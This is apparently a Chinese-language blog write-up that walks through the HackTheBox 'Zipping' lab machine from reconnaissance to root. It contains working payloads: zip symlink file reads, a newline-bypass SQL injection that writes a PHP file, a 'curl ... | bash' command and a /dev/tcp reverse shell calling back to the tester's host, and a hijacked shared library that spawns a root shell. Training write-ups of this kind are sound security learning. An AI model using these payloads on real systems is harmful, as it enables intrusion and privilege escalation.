[渗透测试学习] Zipping - HackTheBox

文章目录

    • 信息搜集
    • 漏洞利用
      • 文件上传漏洞
      • 文件包含漏洞
      • sql注入 写入文件
    • 提权
    • 后记


信息搜集

用nmap扫一下端口

nmap -sV -sC -p- -v --min-rate 1000 10.10.11.229

[渗透测试学习] Zipping - HackTheBox_第1张图片发现有两个端口,22端口是ssh服务,80端口有http服务
访问80端口,扫一下目录发现有文件上传功能

漏洞利用

文件上传漏洞

[渗透测试学习] Zipping - HackTheBox_第2张图片
要求是上传zip文件,那我们试试zip软链接读取文件
[渗透测试学习] Zipping - HackTheBox_第3张图片上传成功后,curl一下发现成功读取
[渗透测试学习] Zipping - HackTheBox_第4张图片得到信息用户应该为rektsu,那么再读取/home/rektsu/user.txt
得到user的flag
在这里插入图片描述当然我们可以读取源码,这里已经知道是必须有.pdf的拓展文件名

我们用截断攻击绕过检测
创建shell.phpA.pdf,写入反弹shell命令

& /dev/tcp/10.10.14.44/1028 0>&1'");?>

然后压缩成zip文件,用hexeditor修改为00
[渗透测试学习] Zipping - HackTheBox_第5张图片
上传,然后访问去掉.pdf的链接发现不行
(原来官方修复了这个漏洞)

文件包含漏洞

那么只能换个思路,我们对/shop重新扫描发现存在cart.php等
[渗透测试学习] Zipping - HackTheBox_第6张图片
我们尝试用软链接读取index源码
[渗透测试学习] Zipping - HackTheBox_第7张图片
上传后访问,curl一下得到源码

[渗透测试学习] Zipping - HackTheBox_第8张图片
存在文件包含漏洞,参数page与.php进行拼接后查询。我们试试看upload的

http://10.10.11.229/shop/index.php?page=/var/www/html/upload

[渗透测试学习] Zipping - HackTheBox_第9张图片

sql注入 写入文件

我们再读取下cart.php,并且重点看下面这部分

if (isset($_POST['product_id'], $_POST['quantity'])) {
    // Set the post variables so we easily identify them, also make sure they are integer
    $product_id = $_POST['product_id'];
    $quantity = $_POST['quantity'];
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {
        echo '';
    } else {
        // Construct the SQL statement with a vulnerable parameter
        $sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
        // Execute the SQL statement without any sanitization or parameter binding
        $product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
        // Check if the product exists (array is not empty)
        if ($product && $quantity > 0) {
            // Product exists in database, now we can create/update the session variable for the cart
            if (isset($_SESSION['cart']) && is_array($_SESSION['cart'])) {
                if (array_key_exists($product_id, $_SESSION['cart'])) {
                    // Product exists in cart so just update the quanity
                    $_SESSION['cart'][$product_id] += $quantity;
                } else {
                    // Product is not in cart so add it
                    $_SESSION['cart'][$product_id] = $quantity;
                }
            } else {
                // There are no products in cart, this will add the first product to cart
                $_SESSION['cart'] = array($product_id => $quantity);
            }
        }
        // Prevent form resubmission...
        header('location: index.php?page=cart');
        exit;
    }
}

可以发现查询语句是与参数product_id进行拼接的

$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";

虽然对其有正则匹配,匹配包含除数字以外的字符或特殊字符如果要进入到sql查询就要使其为假

if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match)

我们注意到结尾的$符号,我们可以用%0a换行符绕过,然后再结尾添加数字使得或运算为假,也就是说该参数可控造成漏洞

我们随便买一件商品,去到购物车的页面,bp抓包
payload如下(写入到默认数据库存储文件位置)

%0a';select+''+into+outfile+'/var/lib/mysql/test.php';#1

[渗透测试学习] Zipping - HackTheBox_第10张图片
然后再文件包含(注意没有php后缀)
[渗透测试学习] Zipping - HackTheBox_第11张图片试试反弹shell不知道为什么弹不成功
那就用curl命令去弹,在本地创建sh文件,开启http服务

python3 -m http.server 80

然后反弹shell成功

1=system('curl 10.10.14.44/shell.sh |bash');

[渗透测试学习] Zipping - HackTheBox_第12张图片

提权

我们查看下可以用的命令
[渗透测试学习] Zipping - HackTheBox_第13张图片
strings查看一下
[渗透测试学习] Zipping - HackTheBox_第14张图片得到用户密码St0ckM4nager
我们用strace跟踪和记录进程的系统调用和信号

strace /usr/bin/stock

然后在read(0,后面输入密码
在这里插入图片描述
会发现调用/home/rektsu/.config/libcounter.so的文件,但是我们在该目录下并未找到此文件,那么我们可以利用动态链接库劫持,实现提权

首先可以自动执行的到shell的exp.c文件

#include 
#include 
 
void __attribute__((constructor)) init() {
    system("/usr/bin/bash -i");
}

然后开启http服务,在连接的靶机上用wget下载exp.c文件

wget http://10.10.14.44/exp.c

[渗透测试学习] Zipping - HackTheBox_第15张图片
然后就是把它编译成前文提到调用的.so文件名

gcc -shared -fPIC exp.c -o libcounter.so

最后我们运行该命令,输入密码得到root权限
得到flag
[渗透测试学习] Zipping - HackTheBox_第16张图片

后记

这个靶机打了两天,原因就在于文件上传的漏洞被修复了不能用截断攻击绕过(早点知道就好了hhh),然后至于密码为什么是那个St0ckM4nager只能说靠意识了,我们通过strace可以知道调用.so文件并且该文件不存在(也可以直接sudo运行该命令发现无限循环),所以我们自己写一个可以getshell的.so文件,调用即可拿到root权限

你可能感兴趣的:(渗透测试学习日记,学习,网络,安全,web安全)